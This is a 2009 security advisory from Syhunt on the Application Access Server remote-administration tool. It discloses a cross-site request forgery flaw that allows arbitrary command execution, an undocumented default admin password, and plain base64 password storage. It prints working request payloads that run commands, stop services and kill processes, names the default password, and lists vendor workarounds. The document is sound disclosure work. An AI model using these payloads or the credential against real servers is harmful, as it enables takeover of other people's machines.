Syhunt: A-A-S (Application Access Server) Multiple Security Vulnerabilities

["Felipe M. Aragon" <felipe@xxxxxxxxxx>]

Syhunt: A-A-S (Application Access Server) Multiple Security Vulnerabilities

Advisory-ID: 200905111
Discovery Date: 3.23.2009
Release Date: 5.11.2009
Affected Applications: A-A-S 2.0.48 and possibly older versions
Class: XSRF (Cross Site Request Forgery) Arbitrary Command Execution, 
Undocumented Default Password, Insecure Password Storage
Status: Vendor informed. No fix available
Vendor: Klinzmann
Vendor URL: http://www.klinzmann.name/a-a-s/index_en.html
Advisory URL: http://www.syhunt.com/advisories/?id=aas-multiple

The Common Vulnerabilities and Exposures (CVE) project has assigned the 
following CVEs to these vulnerabilities:
* CVE-2009-1464 - index.aas job parameter XSRF Arbitrary Command 
Execution Vulnerability
* CVE-2009-1465 - Default Admin Password Vulnerability
* CVE-2009-1466 - Insecure Password and Port Keyword Storage Vulnerability

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Overview:
The Application Access Server is a popular freeware remote 
administration tool that allows to start and stop applications or 
services over the Internet using a Web-based client. It also allows to 
uninstall applications, remotely shutdown and retrieve various 
information about the current system the server is running on. It claims 
to be able to "black list" aggressors and run in "Stealth mode", thus 
evading port scanners.

The A-A-S server also supports DynDNS.org, which allows aliasing the 
server IP to a static hostname.

Description:
The Application Access Server is vulnerable to extremely dangerous XSRF 
(Cross Site Request Forgery) attacks. A remote attacker can use the XSRF 
flaw to take control over the system running the A-A-S server. The issue 
is triggered when a web page containing a malicious JavaScript code is 
viewed. Such malicious code can automatically make requests to the AAS 
server on the user's behalf.

Two additional vulnerabilities affect the Application Access Server: an 
undocumented default password and insecure password storage. Technical 
details are included below.

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Details:
1) index.aas job parameter XSRF (Cross Site Request Forgery)
Arbitrary Command Execution

Example 1 - Arbitrary Command Execution / File Upload
See: http://www.syhunt.com/advisories/aashack.txt

This exploit demonstration code automatically makes sequential requests 
to the AAS server on the user's behalf (if the user is logged in to the 
server), disabling undesired services, uploading and launching a file on 
the target machine. It has been successfully tested on IE 7.0 and 
Firefox 3.08. Should work on any browser that has javascript enabled

Please note that the server's security features like host access list 
and port modes (Silent or Stealth) will not protect against the XSRF 
flaw if enabled.

Example 2 - Arbitrary Command Execution:
<img src="http://[AAS IP or DYNDNS 
HOST]:6262/index.aas?job=command&action=[command]">
This for example would launch the Calculator:
/index.aas?job=command&action=calc.exe

Example 3 - Stopping Services:
<img src="http://[AAS IP or DYNDNS 
HOST]:6262/index.aas?job=setservice&action=stop&select=[servicename]">
This for example would disable Automatic Updates:
/index.aas?job=setservice&action=stop&select=wuauserv

Example 4 - Killing Processes:
<img src="http://[AAS IP or DYNDNS 
HOST]:6262/index.aas?job=killprocess&select=[exename]">
Example:
/index.aas?job=killprocess&select=notepad.exe

Additional commands are available via the job parameter.

2) Default Admin Password Vulnerability
By default, A-A-S installs with a default admin account. The account has 
an undocumented default password of "wildbat" and all the security 
rights enabled. These default rights allow to execute any commands on 
the machine.

3) Insecure Password and Port Keyword Storage Vulnerability
A-A-S passwords and the port keyword (used to connect to the server when 
in Stealth or Silent mode) are stored as a base64 string in the 
"aas.ini" file, contained in the A-A-S install directory, with no 
encryption at all. This allows the password or port keyword to be easily 
retrieved.

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Vulnerability Status:
The vendor was contacted, immediately responded and will be releasing a 
fix soon.

As a workaround to the XSRF vulnerability, the vendor recommends 
limiting the security rights in the user settings screen for each user:
- Disable the "Allow own command" option (command execution will not be 
possible after this option is disabled).
- If possible also disable the "Enable kill process", "Start/Stop 
service" and "Run application" rights.

Avoid completely navigating to other websites while logged in to the 
Application Access Server.

Never start the server using its default settings (as explained above 
machines running a default A-A-S may be easily compromised). Change the 
password of the admin account first.

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Credit:
Felipe Aragon
Syhunt Security Research Team, www.syhunt.com

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Copyright © 2009 Syhunt Cyber Security Company

Disclaimer:
The information in this advisory is provided "as is" without warranty of 
any kind. Details provided are strictly for educational and defensive 
purposes.

Syhunt is not liable for any damages caused by direct or indirect use of 
the information provided by this advisory.